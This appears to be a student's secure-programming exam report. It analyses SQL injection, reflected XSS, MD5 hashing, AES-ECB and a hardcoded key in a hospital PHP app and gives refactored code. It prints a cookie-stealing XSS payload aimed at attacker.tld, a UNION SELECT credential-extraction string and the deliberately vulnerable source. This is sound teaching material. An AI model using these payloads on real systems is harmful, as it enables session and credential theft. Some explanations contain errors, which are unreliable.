



UNIVERSITI TEKNOLOGI MALAYSIA
FINAL EXAMINATION SEMESTER II, SESSION 2025/2026
(ALTERNATIVE ASSESSMENT)

COURSE CODE : SECR4483/SCSR4483
COURSE NAME : SECURE PROGRAMMING
SECTION : 01, 02, 03 & UTMSPACE
TIME : 9.00 AM (4 JULY 2026) – 9.00 AM (6 JULY 2026)
DATE/DAY : 4 – 6 JULY 2026 (TUESDAY – THURSDAY)
VENUES : UTM ELEARNING

Name	SEPRIYANDI BIN AGUSR
Matric No.	SX211697ECRHF04
Year / Course	2025/2026-II / SECRH
Section	UTMSPACE
Lecturer Name	DR. MOHD KUFAISAL BIN MOHD SIDIK

GitHub Link	
YouTube Link	

TABLE OF CONTENTS

CHAPTER 1	ARCHITECTURAL CODE REVIEW & VULNERABILITY DISCOURSE	5
1.1	Introduction	5
1.2	Vulnerability A & B/C search.php: SQL Injection and Reflected XSS	5
1.2.1	Runtime Mechanism of the SQL Injection (Flaw A)	5
1.2.2	Runtime Mechanism of Reflected XSS (Flaws B & C)	6
1.3	Vulnerability D & E — auth.php: Bound Constraint Failure and Obsolete Cryptographic Primitive.	6
1.3.1	Byte-Length vs Character-Length Boundary (Flaw D)	6
1.3.2	Obsolete Cryptographic Primitive (Flaw E)	7
1.4	Vulnerability F & G — crypto_vault.php: ECB Mode and Hardcoded Key	8
1.4.1	Electronic Codebook (ECB) Pattern Leakage (Flaw F)	8
1.4.2	Hardcoded Cryptographic Key (Flaw G)	8
1.5	Secure Coding Principles Violated and PDPA 2010 Implications	9
CHAPTER 2	SECURE REFACTORING IMPLEMENTATION & EXPLOIT-CHAIN DISRUPTION MATRIX	12
2.1	Structural Dissection & Deconstruction of search.php	12
2.2	Boundary Characterisation & Cryptographic Profiling of auth.php	13
2.3	Exploit-Chain Disruption Matrix & Logical Defense	15
CHAPTER 3	CRYPTOGRAPHIC SUBSYSTEM ANALYSIS, PAYLOAD SERIALIZATION, & OPERATIONAL RESILIENCE	18

3.1	Legacy Mode Dissection: ECB vs AES-256-GCM AEAD	18
3.2	IV Dependency and Degradation Risk	18
3.3	Serialization Pipeline: Packing and Unpacking IV, Ciphertext and Tag	19
3.4	Interpreter Execution Flow: Authentication Tag Mismatch Handling	19
3.5	Environment Dependency Mapping	20
3.6	Automated Failure-Mode Diagnosis via PHPUnit	20
CHAPTER 4	SYSTEMIC VULNERABILITY CORRELATION, FORENSIC DOCUMENTATION, & ARCHITECTURAL SYNTHESIS	22
4.1	Forensic Exploit-Chain Dependency Analysis	22
4.2	Structural Synthesis and Cross-Module Correlation Table	23
4.2.1	r	Error! Bookmark not defined.
4.2.1.1	Sub-Sub-Sub Chapter	Error! Bookmark not defined.

LIST OF TABLE

Table 1. 1	Secure Coding Violations vs PDPA 2010 Obligations	11
Table 1. 2	<i>Before vs After — search.php (SQL Injection & Reflected XSS Remediation)</i>	13
Table 1. 3	Exploit Pathway Interruption Matrix	16
Table 4. 1	Structural Synthesis and Cross-Module Correlation Table	24

LIST OF FIGURE

Figure 3. 1 <i>Serialization Layout of the Encrypted Vault Payload</i>	19
--	----

CHAPTER 1

ARCHITECTURAL CODE REVIEW & VULNERABILITY DISCOURSE

1.1 Introduction

In this chapter we conduct a forensic code review on the three artifacts that were involved in the MediChain HealthVault-API breach: `search.php`, `auth.php` and `crypto_vault.php`. We are interested in identifying each defect at the level of PHP/Zend runtime, explaining what is the execution mechanism that is exploited and mapping every defect to a violated secure coding principle and the corresponding provision of the Malaysian Personal Data Protection Act (PDPA) 2010.

1.2 Vulnerability A & B/C `search.php`: SQL Injection and Reflected XSS

1.2.1 Runtime Mechanism of the SQL Injection (Flaw A)

The statement generates its query by concatenating the raw HTTP GET parameter for the query on SQL text: "...WHERE name LIKE '%' . \$keyword . '%'",. At the PHP interpreter level, a string is just a byte sequence, and once it is concatenated into `$sql`, there is no notion of "trusted command" or "untrusted data". The call `mysqli::query()` will then fetch this already merged string to MySQL server SQL parser. Since the parser tokenizes whatever text arrives at the wire protocol, a custom `$keyword` such as `x%' UNION SELECT username, auth_key_hash, role FROM staff_credentials --` - closes the original quoted literal early and re-opens a new SQL clause. The database engine cannot distinguish attacker-supplied tokens from developer-authored tokens because both have been serialized into the same lexical stream by the time the execution reaches the server.

This is the classic collapse of the data plane into the command plane: input that was meant to be a value is re-interpreted as executable syntax. Note also that the source file mentions an undefined bareword constant `keyword` instead of the intended variable `$keyword`, in the concatenation (`'%' . $keyword . '%'`). Under PHP 8.x this could be an Error (undefined constant), and the code would stop running; it is flagged as a second code quality defect

in comparison to the injection logic itself but does not remove the injection vector if the developer corrects the typo back to \$keyword, which is the real exploitation scenario we expect for the rest of this analysis.

1.2.2 Runtime Mechanism of Reflected XSS (Flaws B & C)

Both the "result found" branch and the "no records found" branch echo \$keyword directly into an HTML response with no output encoding: echo "...keyword: " . \$keyword. The browser's HTML parser reads the response body as a stream of markup and text nodes. Since \$keyword is fed into an HTML parsing context without change, any HTML metacharacters it contains (<, >, ", ') are interpreted as structures not as literal text.

A payload like `<script>document.location='https://attacker.tld/c?'+document.cookie</script>` is parsed by the browser as an executable `<script>` element, not as inert text. This means the victim's browser will be able to run JavaScript produced by the attacker in the security location of the hospital portal. Because the payload is in the request itself (and it only reflects once in the immediate response) this is a reflected XSS, not stored XSS, but it is still a session cookie theft, credential harvesting with an injected form, and to make more requests based on the victim's authenticated session.

The illness_history field is also being reflected from the database (row['illness_history']). This data is currently stored in trusted seed rows, but it is already stored-XSS-in-waiting when any write path (e.g., a clinician update form) is added without similar encoding.

1.3 Vulnerability D & E — auth.php: Bound Constraint Failure and Obsolete Cryptographic Primitive.

1.3.1 Byte-Length vs Character-Length Boundary (Flaw D)

A guard `if (strlen($inputKey) > 256)` checks the number of bytes in the PHP string buffer, not the number of logical characters. PHP strings are byte arrays and `strlen` walks the string and counts octets. For the application's utf8mb4 request encoding, a single multi-

byte character (e.g., a 4-byte emoji or CJK character) adds some bytes to the 256-byte limit, but has a semantic character as well. An attacker could submit a message whose length is longer than what the developer was supposed to cover in terms of characters but still close to (at, or even slightly over) the 256-byte limit. Or an attacker could submit a short but adversarially designed multi-byte message that would be much more CPU intensive (hashing, buffering, and comparison) than the number of characters that would be used. This is because the verification of the message in the interpreter is done before it has been read and the developer's character set is not included as `mb_strlen` is not called. In case of concurrent load, repeated submission of near-boundary multi-byte payloads increases the memory allocated to string handling and hashing buffers per request, which is the cause of the high-concurrency memory-exhaustion risk that is essentially a low-cost input-driven resource-exhaustion (DoS) amplification vector on top of a purely logical validation bug.

1.3.2 Obsolete Cryptographic Primitive (Flaw E)

Authentication is made by `md5($inputKey) === $stored_hash`. MD5 is a fast, unsalted, non-memory-hard digest, created in 1991 for integrity checksums, not password storage. The goal of MD5 is throughput, which is the opposite of credential hashing. Because MD5 runs in a few CPU cycles per block and has no configurable work factor, an offline attacker who is able to access the hash column (e.g. through the SQL injection in §1.2.1, because `staff_credentials.auth_key_hash` is reachable once UNION-based extraction is possible) can make billions of guesses per second on commodity GPUs. Moreover, unsalted MD5 hashes can be reversible via precomputed rainbow tables, without actually doing any work per attempt. The `schema.sql` seed data shows that this is already the case (barely any MD5 digest stored with no salt column). The use of the loose comparison `===` does avoid PHP's type-juggling issue with `==` and "magic hash" strings like `0e...` so that specific PHP-specific pitfall is not present here -- but the primitive itself is still cryptographically obsolete for credential storage.

1.4 Vulnerability F & G — `crypto_vault.php`: ECB Mode and Hardcoded Key

1.4.1 Electronic Codebook (ECB) Pattern Leakage (Flaw F)

`openssl_encrypt($medical_payload, 'aes-128-ecb', $secret_key)` encrypts the plaintext in independent 16-byte blocks; each block is only encoded as a function of the key and there is no chaining, feedback, or nonce between any one block and the next. Thus, identical plaintext blocks always yield identical ciphertext blocks with a fixed key. The seed data of the schema intentionally engineers this exposure: two patient records have the literal substring "DIAGNOSIS: Stage-2 Carcinoma. TREATMENT:" and two others have "DIAGNOSIS: Acute Type-2 Diabetes. TREATMENT:". Once block-aligned, these repeated plaintext fragments will produce repeated ciphertext blocks that can be seen by anyone who can read the encrypted ciphertext without a key. An attacker can then cluster patients based on diagnosis, sort treatment regimens, and track changes in dosage token (a new block of ciphertext appears on the record in the midst of a normal distribution) without having to read or record the encrypted ciphertext (this is a textbook confidentiality issue as depicted by the so-called ECB penguin phenomenon). ECB also provides no authentication: an attacker can change, delete, or reorder the encrypted ciphertext, and the decryption program will simply accept the modified ciphertext, as the protocol in the dosage manipulation case described above did.

1.4.2 Hardcoded Cryptographic Key (Flaw G)

The literal "MedVaultKey123!" is compiled directly into PHP source as `$secret_key`. Because the key resides in version-controlled source rather than in a runtime secret store, anyone with read access to the repository, backup, decompiled deployment artifact, or misconfigured file share can get it without any further work of exploitation. The key also does not rotate, so we need to manually deploy it to the code and not change the configuration, and it is a low-entropy, human-readable piece of text rather than a secure 128-bit random value, which is further vulnerable to dictionary-style guessing regardless of the source-code exposure.

1.5 Secure Coding Principles Violated and PDPA 2010 Implications

The table below maps each defect to the fundamental secure-coding principle it violates and the specific PDPA 2010 obligation placed at risk.

Defect	Secure Coding Principle Violated	PDPA 2010 Exposure
A — SQLi (search.php)	Separation of Data and Command Planes: user input must never be concatenated into an executable command string.	Security Principle (s.9): failure to take practical steps to protect personal data from unauthorised access/disclosure; enables the bulk exfiltration described in the incident chronology.
B/C — Reflected XSS (search.php)	Context-Aware Output Encoding: all output must be encoded for the syntactic context (HTML, JS, attribute) into which it is placed.	Security Principle (s.9) and Integrity Principle (s.11): enables session hijacking and unauthorised actions performed under a legitimate clinician's session.
D — Byte/Character Bound Mismatch (auth.php)	Input Validation Boundaries: validation must operate on the same semantic unit (characters, not raw bytes) that the	Security Principle (s.9): resource-exhaustion pathway degrades availability of a system

Defect	Secure Coding Principle Violated	PDPA 2010 Exposure
	business rule intends to constrain.	processing sensitive health/authentication data.
E — MD5 Credential Hash (auth.php)	Cryptographic Primitive Agility / Adequate Credential Protection: use memory-hard, salted, work-factor-tunable hashing for credentials.	Security Principle (s.9): directly enabled the “Authentication Bypass Traversal” finding — reversed MD5 hashes produced valid, ephemeral “Physician” credentials used to approve unauthorised controlled-drug dispensations.
F — AES-ECB (crypto_vault.php)	Confidentiality and Integrity of Data at Rest: encryption mode must not leak plaintext structure and must be authenticated (AEAD).	Security Principle (s.9) and Integrity Principle (s.11): pattern leakage enabled patient re-identification by diagnosis cluster; lack of authentication enabled the described dosage-tampering/ransom stage.
G — Hardcoded Key (crypto_vault.php)	Secret Externalisation / Least-Privilege Key Custody: cryptographic material must live outside source control, in a managed secret store, with rotation support.	Security Principle (s.9): a single repository or artifact leak compromises confidentiality for the entire patient record set retroactively and prospectively.

Table 1. 1 Secure Coding Violations vs PDPA 2010 Obligations

The defects collectively show a systemic pattern, not just one or two bugs: at every trust boundary of the application - HTTP request into SQL, HTTP request into HTML, credential into storage, plaintext in cipher - the developers treated untrusted or sensitive material as though it were already safe for use in the next place. Under PDPA 2010, a Data User processing patient health data (a class of "sensitive personal data" under s.4) must take practical technical and organisational steps to mitigate the harm that comes from a breach; as mentioned above, the 72-hour deployment window that bypassed SAST and penetration testing is itself evidence relevant to a negligence finding, independent of any single code defect.

CHAPTER 2

SECURE REFACTORING IMPLEMENTATION & EXPLOIT-CHAIN DISRUPTION MATRIX

2.1 Structural Dissection & Deconstruction of `search.php`

At the interpreter's runtime compilation lifecycle, a PHP string in `mysqli::query()` is compiled by the DBMS's own SQL parser at query time, not PHP compile time. When the developer concatenates the raw input into `$sql`, PHP hands the database driver a single opaque string, and the RDBMS parser cannot recover which substrings were "authored" versus "supplied", so it tokenizes the attacker's payload as syntax. PDO parameterised queries change this execution model structurally: `prepare()` sends the query skeleton to the server (or driver) first, and the server compiles and updates the execution plan around typed placeholders before any user value is sent. `execute()` then sends bound values through a separate protocol channel reserved for data only, never syntax. This is a structural memory isolation boundary — the placeholder value can never be re-tokenized as SQL grammar because it is sent and bound after the abstract syntax tree of the query is already frozen.

At the output side, general-purpose "sanitisation" (e.g., naive `strip_tags()` or blacklist filtering) fails because it tries to guess which byte sequences are dangerous regardless of where the data will be placed, and blacklists are inherently incomplete against encoding tricks, case variation, and event-handler attributes. `htmlspecialchars()` instead performs context-aware transformation: It converts the five HTML-significant characters (`<`, `>`, `&`, `"`, `'`) into their entity equivalents at the exact point of output, for the given context (HTML body text) the data is entering. Because the transformation happens at the boundary between the data plane and the HTML rendering plane, the browser's parser can never re-interpret the encoded sequence as a tag or attribute delimiter — it only reads literal text glyphs.

VULNERABLE (BEFORE) — search.php	REFACTORED (AFTER) — search.php
<pre> <?php require_once 'C:\xampp\htdocs\Assesment\db_config.php'; \$keyword = \$_GET['keyword']; // Raw concatenation - data and command // planes are merged into one string \$sql = "SELECT id, name, illness_history " . "FROM patient_records " . "WHERE name LIKE '%" . \$keyword . "%'"; \$result = \$conn->query(\$sql); if (\$result->num_rows > 0) { while (\$row = \$result->fetch_assoc()) { // Unescaped reflection -> Reflected XSS echo "<div>Result found for keyword: " . \$keyword . "
"; echo "Patient: " . \$row['name'] . " History: " . \$row['illness_history'] . "</div><hr>"; } } else { echo "No records found for: " . \$keyword; } </pre>	<pre> <?php declare(strict_types=1); require_once DIR . '/db_config.php'; // env-driven PDO factory \$keyword = \$_GET['keyword'] ?? ''; // 1. Data plane isolated from command plane: // the query text is fixed; only a bound // placeholder carries user data. \$stmt = \$pdo->prepare('SELECT id, name, illness_history FROM patient_records WHERE name LIKE :kw'); \$stmt->bindValue(':kw', '%' . \$keyword . '%', PDO::PARAM_STR); \$stmt->execute(); \$rows = \$stmt->fetchAll(PDO::FETCH_ASSOC); // 2. Context-aware output encoding on EVERY // variable placed into the HTML stream. \$safeKeyword = htmlspecialchars(\$keyword, ENT_QUOTES, 'UTF-8'); if (count(\$rows) > 0) { foreach (\$rows as \$row) { \$name = htmlspecialchars(\$row['name'], ENT_QUOTES, 'UTF-8'); \$hist = htmlspecialchars(\$row['illness_history'], ENT_QUOTES, 'UTF-8'); echo "<div>Result found for keyword: {\$safeKeyword}
"; echo "Patient: {\$name} History: {\$hist}</div><hr>"; } } else { echo "No records found for: {\$safeKeyword}"; } </pre>

Table 1. 2 *Before vs After — search.php (SQL Injection & Reflected XSS Remediation)*

2.2 Boundary Characterisation & Cryptographic Profiling of auth.php

`strlen()` operates on a buffer of bytes in PHP and returns a number of octets, and it does not know whether there are UTF-8 continuation bytes. `mb_strlen($str, 'UTF-8')`, on the other hand, walks the buffer and reads the grammar of the declared encoding to decode each multi-byte sequence into one logical letter and then increases its counter. The runtime mechanism that allows us to truncate or bypass an error in the original code is precisely that: a 300-byte string with 100 three-byte UTF-8 characters with `strlen()` and 100 with `mb_strlen()` so that a byte-based check (in the sense of a business rule) and a character-oriented business rule (in the sense of a rule-writer's definition of no more than 256 characters) are not always the same and the workload per request can be significantly higher for the size of the requested buffer and hash when the first attempt is made. MD5

is a Merkle-Damgård digest that is designed for raw throughput (originally for checksums) with no cost parameter but runs in nanoseconds per attempt on a modern machine and is also parallelisable to GPU/ASIC lanes so the guess rate of an attacker on the offline machine is almost linearly proportional to the hardware that we are using at the time of writing. Argon2id (PASSWORD_ARGON2ID) instead uses a set of memory costs (memory_cost) and CPU passes (time_cost) for each hash request. Because each guess requires allocating and repeatedly accessing a large and pseudo-randomly addressed memory region, the algorithm is memory-hard; an attacker cannot trade memory for speed by building narrow massively parallel ASIC pipelines in the way they do against MD5 because each parallel lane still needs to be built with its own multi-megabyte working set. This mathematically undermines scale-out cracking: doubling memory_cost roughly doubles the defender's cost per login and the attacker's cost per guess, but the attacker's advantage from parallel hardware is not the raw compute but the memory bandwidth, which also allowed MD5 mass cracking to be economical.

VULNERABLE (BEFORE) — auth.php	REFACTORED (AFTER) — auth.php
<pre> <?php if (\$_SERVER['REQUEST_METHOD'] === 'POST') { \$inputKey = \$_POST['auth_key']; // Byte-length check, not character-length if (strlen(\$inputKey) > 256) { die("Fatal Error: Bound overflow detected."); } // Fast, unsalted, non-memory-hard digest \$stored_hash = "098f6bcd4621d373cade4e832627b4f6"; if (md5(\$inputKey) === \$stored_hash) { echo "Access Granted."; } } </pre>	<pre> <?php declare(strict_types=1); if (\$_SERVER['REQUEST_METHOD'] === 'POST') { \$inputKey = \$_POST['auth_key'] ?? ''; // Semantic, charset-aware boundary check: // counts CHARACTERS, immune to multi-byte // byte-inflation bypass. if (mb_strlen(\$inputKey, 'UTF-8') > 256) { http_response_code(400); die('Invalid credential length.');</pre> <pre> } // Argon2id: memory-hard + time-hard KDF. // Hash fetched by username, never hardcoded. \$username = \$_POST['username'] ?? ''; \$stmt = \$pdo->prepare('SELECT auth_key_hash FROM staff_credentials WHERE username = :u'); \$stmt->bindValue(':u', \$username, PDO::PARAM_STR); \$stmt->execute(); \$row = \$stmt->fetch(PDO::FETCH_ASSOC); // Always run verify (constant-time-shaped // control flow) to resist username enumeration. \$hash = \$row['auth_key_hash'] ?? '\$argon2id\$dummy'; if (\$row && password_verify(\$inputKey, \$hash)) { echo 'Access Granted.'; } } </pre>

VULNERABLE (BEFORE) — auth.php	REFACTORED (AFTER) — auth.php
	<pre> } else { http_response_code(401); echo 'Access Denied.'; } } // One-time migration helper for issuing new hashes: // password_hash(\$key, PASSWORD_ARGON2ID, [// 'memory_cost' => 65536, 'time_cost' => 4, // 'threads' => 2]); </pre>

Table 2.2: Before vs After — auth.php (Bound Constraint & Credential Hashing Remediation)

2.3 Exploit-Chain Disruption Matrix & Logical Defense

The matrix below traces each original exploit pathway against the specific structural change that interrupts it, and explains why the interruption is mechanistic (i.e., holds for any payload shape) rather than a signature match against known-bad strings.

Exploit Pathway (Before)	Structural Break (After)	Why It Is Mechanistic, Not Signature-Based
Attacker payload in ?keyword= is concatenated into SQL text and re-tokenized as a UNION SELECT clause.	PDO prepare()/bindValue() separates query skeleton compilation from value binding.	The value is never placed into the string that the SQL parser tokenizes; there is no byte sequence the attacker can submit that changes the compiled statement, because binding happens after compilation, not before.
Attacker payload in ?keyword= is echoed unescaped and parsed	htmlspecialchars(ENT_QUOTES) transforms all five HTML meta-characters at every output point.	Encoding operates on the character set itself (<, >, &, ", ') rather

Exploit Pathway (Before)	Structural Break (After)	Why It Is Mechanistic, Not Signature-Based
by the browser as a <script> element.		than on known malicious substrings, so novel payloads, obfuscation, and encoding tricks are neutralised identically to well-known ones.
Multi-byte payload inflates byte length past intended character ceiling, degrading availability under concurrency.	mb_strlen('UTF-8') counts decoded logical characters, matching the intended business rule.	The check now measures the same unit the rule is written in; no byte/character unit mismatch remains for any encoding-crafted payload to exploit.
Offline MD5 hash reversal (enabled once SQLi exposes staff_credentials) yields valid, arbitrary- looking credentials.	Argon2id verification via password_verify(), hash never hardcoded, always fetched per- user.	Memory-hard, time- hard cost parameters make brute- force/rainbow-table reversal computationally infeasible at scale regardless of the specific guessed value; there is no shortcut for any input pattern.

Table 1. 3 Exploit Pathway Interruption Matrix

Taken together, the refactor breaks the exploit chain at two independent trust boundaries (data→SQL and data→HTML) in `search.php`, and at two independent control points (validation boundary and credential-storage primitive) in `auth.php`. Since SQLi was shown in Chapter 1 to be the pivot that exposed the MD5 hash column in the first place, closing the SQLi vector also removes the practical delivery path for the credential-reversal stage of the incident, even before the Argon2id migration is considered in isolation.

CHAPTER 3

CRYPTOGRAPHIC SUBSYSTEM ANALYSIS, PAYLOAD SERIALIZATION, & OPERATIONAL RESILIENCE

3.1 Legacy Mode Dissection: ECB vs AES-256-GCM AEAD

AES-ECB processes the plaintext as a sequence of independent 16-byte blocks $C_i = E_k(P_i)$ and hence no dependency between blocks is used. Thus identical plaintext blocks under the same key always produce identical ciphertext blocks, which is why the diagnosis pattern leakage in Chapter 1 is not revealed. AES-256-GCM instead operates in counter mode for confidentiality, by XORing the plaintext with a keystream generated by encrypting a counter from a per-message IV, so no plaintext block goes through the block cipher directly, and identical plaintext blocks under the same key but different IVs yield entirely different ciphertext. On top of this, GHASH, a polynomial evaluation over $GF(2^{128})$, verifies every ciphertext block and the associated (non-encrypted) data and outputs the 16-byte Authentication Tag. This transformation converts AES-ECB from a bare confidentiality-only cipher into an AEAD construction; any bit-level tampering with the ciphertext changes the GHASH output and hence the tag verification fails deterministically at decryption time, which is exactly the integrity property ECB lacked and hence allowed the tampering of the dosage to occur without the need for any other information.

3.2 IV Dependency and Degradation Risk

GCM's security proof assumes the (key, IV) pair is never reused. Internally, the IV seeds the initial counter block fed into the block cipher to generate the keystream; if the same 96-bit IV is reused under the same key for two different plaintexts, then the two keystreams are identical and thus XORing the two ciphertexts cancels the keystream and gives the XOR of the two plaintexts to GCM. Worse, GCM's authentication is also undermined by IV reuse; if an attacker can see two messages encrypted under the same (key, IV), he/she can algebraically recover the GHASH authentication key and then can create fake authentication tags for any ciphertext. This is why the new code generates a

new IV from a random source of random bytes (`random_bytes(12)`) for every single encryption call instead of a counter or timestamp or any other predictable state for that matter, and therefore the IV states in predictable states destroy the very randomness that the AEAD security proof is based on.

3.3 Serialization Pipeline: Packing and Unpacking IV, Ciphertext and Tag

At encryption time, `openssl_encrypt()` with `OPENSSL_RAW_DATA` and the `aes-256-gcm` cipher only returns the raw ciphertext bytes, and the 16-byte tag is written into a variable passed by reference and must be explicitly recorded by the code or it will be lost. The new `vault_encrypt()` function then combines the three logically distinct byte segments into one transportable blob in a fixed order: the 12-byte IV, the 16-byte Authentication Tag, and the variable-length ciphertext, and base64-encodes the result to be transferred over JSON/HTTP. At decryption time, `vault_decrypt()` cuts the base64-decoded blob at a fixed position (bytes `[0:12)` for the IV, `[12:28)` for the tag, and `[28:end)` for the ciphertext) and calls `openssl_decrypt()` with the tag provided. Failure to accurately encode the triple leads to a length-guard error ("Malformed payload") or a tag-verification failure, but the error is not allowed to propagate as an unhandled fatal error.

```
[ 12 bytes: IV / Nonce ][ 16 bytes: Authentication Tag ][ N bytes: AES-256-
GCM Ciphertext ] → base64-encoded for JSON transport
```

Figure 3.1 *Serialization Layout of the Encrypted Vault Payload*

3.4 Interpreter Execution Flow: Authentication Tag Mismatch Handling

In the original code there was no tag, so no failure state existed for tampering corrupted ciphertext was simply decrypted to corrupted-but-accepted plaintext. Under the AEAD refactored code `openssl_decrypt()` internally recomputes GHASH over the received ciphertext and compares it with the supplied tag using a constant-time comparison before returning any plaintext; on mismatch it gives the boolean `false` instead of partial data. The refactored code then checks for this `false` return and throws a typed `RuntimeException` with an explicit message, which the calling `try/catch` block converts into a controlled HTTP 500 JSON error response. It keeps the failure in PHP's exception-handling runtime

(a catchable object with a stack unwind) rather than an unhandled fatal error or a crash that may disable the request-handling process itself, the difference between a secure and isolated runtime failure state and an uncontrolled interpreter crash that could itself become an availability (DoS) vector.

3.5 Environment Dependency Mapping

The refactored key can be read via `getenv('VAULT_AES_KEY')` from a `.env` file loaded by a `dotenv`-style loader at bootstrap, removing the secret from the PHP source tree entirely. Thus the dependency graph is application code $\rightarrow$ environment loader $\rightarrow$ `.env` file (that is present only on the deployment host, not on the web root) $\rightarrow$ OS-level file permissions that limit how the application service can read it. A corresponding `.gitignore` entry (`.env, *.env.local`) structurally removes the file from what git tracks or transmits to any remote repository, so a leak of the repository from a public fork, a CI artifact, an accidental push will not expose the key, and the attack surface is reduced from "anyone who clones the repo" to "anyone who has OS-level or secret-manager-level access to the running host."

3.6 Automated Failure-Mode Diagnosis via PHPUnit

A PHPUnit suite for this subsystem should provide three clear runtime states. First, an untampered lifecycle: encrypt a known plaintext, decrypt the resulting blob and `assertSame()` the recovered plaintext against the original. Second, a tampered-ciphertext path: encrypt a plaintext, flip a single byte inside the ciphertext part of the serialized blob and assert that decryption throws the specific `RuntimeException` type using PHPUnit's `expectException(RuntimeException::class)` and `expectExceptionMessageMatches()` for the tag-mismatch message, which means failure is a caught, typed exception, not a fatal error. Third, credential hash integrity: assert that `password_verify()` returns true for a known-correct key against a newly generated Argon2id hash and false for an incorrect key, and the authentication `auth.php` is done in Chapter 2. The difference between a valid, expected security-exception throw versus a catastrophic crash is what the test suite is trying to point out: `expectException()` means that a specific, named exception class is thrown and caught in the PHPUnit test runner's exception-handling scope and a green

PASS is returned, which means the application code path is working as expected under attack. An unhandled crash, on the other hand, would show up in the form of a PHP Fatal Error or a segmentation-level failure that PHPUnit could not resolve into a passing assertion at all; it would abort the test run itself, which is a structurally different (and unacceptable) situation that the refactor is designed to avoid because it would transform cryptographic failure into a typed, catchable object.

CHAPTER 4

SYSTEMIC VULNERABILITY CORRELATION, FORENSIC DOCUMENTATION, & ARCHITECTURAL SYNTHESIS

4.1 Forensic Exploit-Chain Dependency Analysis

The three modules audited in this report are not independent failures; they form a single causal chain in which an early-stage input-validation defect cascades into the compromise of unrelated modules. The dependency sequence reconstructed from the case chronology and the source artifacts is as follows.

- Stage 1: Data Exposure Problem. The first problem occurs in the `search.php` file, where an SQL injection vulnerability enables an attacker to manipulate the database query. Because the database is running with high-level access, this flaw can expose all the tables in the `medic_vault_db`, including sensitive patient records.
- Stage 2: Uncontrolled access to Authentication Data. In this stage, we see a serious breach of security in the authentication system. The database account is too permissive, and the way the queries are structured makes it vulnerable. Similar to the SQL injection technique, a hacker could access the `staff_credentials` table and extract sensitive information like the `auth_key_hash`, which `search.php` was never intended to expose. This highlights what is the basic issue: a flaw in our patient search feature can damage the authentication system for all as it is based on a too open and insecure connection.
- Stage 3: Weak Encryption Leads to Compromise. With MD5 hashes from the previous stages, an attacker can easily crack these weak, unsalted hashes using GPUs or rainbow tables. This is a big problem because a stronger hashing method such as Argon2id would have been much harder to break. From the findings of “Authentication Bypass Traversal,” these compromised hashes are being replayed in the `auth.php` file, allowing unauthorized access to high-clearance drug dispensations.

- **Stage 4: Data Security Risks.** In addition to these weaknesses, there is also a concern regarding the security of data stored in the database. The use of ECB mode and a hardcoded key in `crypto_vault.php` means even encrypted patient records can reveal patterns relating to diagnoses and can be altered without detection. This is why "Targeted Data Integrity Manipulation" was discovered, as dosage changes or ransom scenarios can occur.

The problems found in Stage 1 set off a chain reaction leading to Stages 2 and 3. A simple failure to validate input in one file resulted in a complete database leak and a breach of the authentication system. There were no safeguards in place (no database permissions, secure query practices, or strong hashing methods) to contain the damage once the initial vulnerability was exploited. Stage 4, while separate and related to a different encryption issue, adds to the severity of the incident by removing the last line of defense that could have mitigated the damage caused in Stage 1.

4.2 Structural Synthesis and Cross-Module Correlation Table

Stage	Originating Module	Mechanism	Downstream Consequence
1	<code>search.php</code>	Unparameterised SQL concatenation over a root-privileged DB connection	Full schema enumeration, including tables unrelated to patient search
2	<code>search.php</code> → <code>auth.php</code>	UNION-based extraction of <code>staff_credentials.auth_key_hash</code>	Exposure of the entire legacy MD5 credential store

Stage	Originating Module	Mechanism	Downstream Consequence
3	auth.php	Offline reversal of unsalted, non-memory-hard MD5 hashes	Forged/derived valid credentials used to approve controlled-substance dispensation
4	crypto_vault.php	ECB pattern leakage + hardcoded, unrotatable AES key	Patient re-identification by diagnosis cluster and undetectable dosage tampering

Table 4. 1 Structural Synthesis and Cross-Module Correlation Table

This split-screen dependency mapping shows how remediation can't be evaluated file by file in isolation: closing the SQL Injection vector in search.php (Chapter 2) completely removes the delivery mechanism for Stage 2 and, in turn, Stage 3, while the Argon2id migration in auth.php offers defence-in-depth in case any future disclosure vector re-emerges. Similarly, the AES-256-GCM migration in crypto_vault.php (Chapter 3) closes Stage 4 regardless of whether Stages 1-3 are ever fully remediated as it addresses a structurally different at-rest protection boundary.

REFERENCES

- Biham, E., & Shamir, A. (1991). Differential cryptanalysis of DES-like cryptosystems. *Journal of Cryptology*, 4(1), 3–72.
- Biryukov, A., Dinu, D., & Khovratovich, D. (2016). Argon2: The memory-hard function for password hashing and other applications. *Proceedings of the IEEE European Symposium on Security and Privacy*, 292–302.
- Dworkin, M. (2007). Recommendation for block cipher modes of operation: Galois/Counter Mode (GCM) and GMAC (NIST Special Publication 800-38D). National Institute of Standards and Technology.
- Laws of Malaysia. (2010). Personal Data Protection Act 2010 (Act 709). Attorney General's Chambers of Malaysia.
- OWASP Foundation. (2021). OWASP Top Ten 2021: A03:2021 – Injection. OWASP Foundation.
- OWASP Foundation. (2023). Cross Site Scripting (XSS) prevention cheat sheet. OWASP Foundation.
- PHP Documentation Group. (2024). PHP: password_hash — Manual. The PHP Group.
- Rescorla, E. (2001). *SSL and TLS: Designing and building secure systems*. Addison-Wesley.
- Rivest, R. (1992). The MD5 message-digest algorithm (RFC 1321). Internet Engineering Task Force.
- Rogaway, P. (2011). Evaluation of some blockcipher modes of operation. Cryptography Research and Evaluation Committees (CRYPTREC), Japan.